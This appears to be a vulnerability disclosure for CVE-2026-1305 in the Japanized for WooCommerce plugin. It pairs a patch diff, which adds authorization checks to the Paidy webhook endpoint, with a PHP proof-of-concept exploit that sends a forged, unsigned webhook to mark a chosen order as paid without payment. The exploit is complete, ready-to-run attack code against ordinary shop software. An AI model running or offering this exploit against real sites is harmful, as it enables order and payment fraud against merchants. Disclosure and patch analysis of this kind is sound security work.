CVE-2026-1305: Japanized for WooCommerce <= 2.8.4 – Missing Authorization to Unauthenticated Paidy Order Manipulation (woocommerce-for-japan)

--- a/woocommerce-for-japan/includes/gateways/paidy/class-wc-paidy-endpoint.php
+++ b/woocommerce-for-japan/includes/gateways/paidy/class-wc-paidy-endpoint.php
@@ -78,7 +78,16 @@
 						array( 'status' => 403 )
 					);
 				}
+				// IP validation passed.
+				return true;
 			}
+
+			// No signature AND no IP whitelist configured - REJECT.
+			return new WP_Error(
+				'paidy_unauthorized',
+				__( 'Missing signature header for Paidy webhook.', 'woocommerce-for-japan' ),
+				array( 'status' => 403 )
+			);
 		}

 		// Verify the signature if present.
@@ -103,9 +112,16 @@
 					array( 'status' => 403 )
 				);
 			}
+			// Signature validation passed.
+			return true;
 		}

-		return true;
+		// Should never reach here, but reject by default.
+		return new WP_Error(
+			'paidy_unauthorized',
+			__( 'Unauthorized access to Paidy webhook.', 'woocommerce-for-japan' ),
+			array( 'status' => 403 )
+		);
 	}

 	/**
--- a/woocommerce-for-japan/woocommerce-for-japan.php
+++ b/woocommerce-for-japan/woocommerce-for-japan.php
@@ -5,7 +5,7 @@
  * Description: Woocommerce toolkit for Japanese use.
  * Author: Artisan Workshop
  * Author URI: https://wc.artws.info/
- * Version: 2.8.4
+ * Version: 2.8.5
  * Requires PHP: 8.1
  * Requires Plugins: woocommerce
  * Requires at least: 6.7
@@ -25,7 +25,7 @@
 	exit; // Exit if accessed directly.
 }

-define( 'JP4WC_VERSION', '2.8.4' );
+define( 'JP4WC_VERSION', '2.8.5' );

 require_once __DIR__ . '/class-jp4wc.php';

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1305 - Japanized for WooCommerce <= 2.8.4 - Missing Authorization to Unauthenticated Paidy Order Manipulation
<?php

$target_url = 'http://example.com/wp-json/jp4wc/paidypayment/';
// Replace with a valid order ID from the target site.
$order_id = 123;

// Craft a payload mimicking a Paidy webhook notification to mark an order as paid.
$payload = json_encode([
    'order_id' => $order_id,
    'status' => 'paid',
    'payment_id' => 'fake_payment_'.time(),
    'amount' => 1000,
    'currency' => 'JPY'
]);

$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// The exploit requires OMITTING the 'Paidy-Signature' header to trigger the bypass.
$headers = [
    'Content-Type: application/json',
    // Do not set Paidy-Signature header.
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A 200 OK or successful order update message indicates potential vulnerability.

?>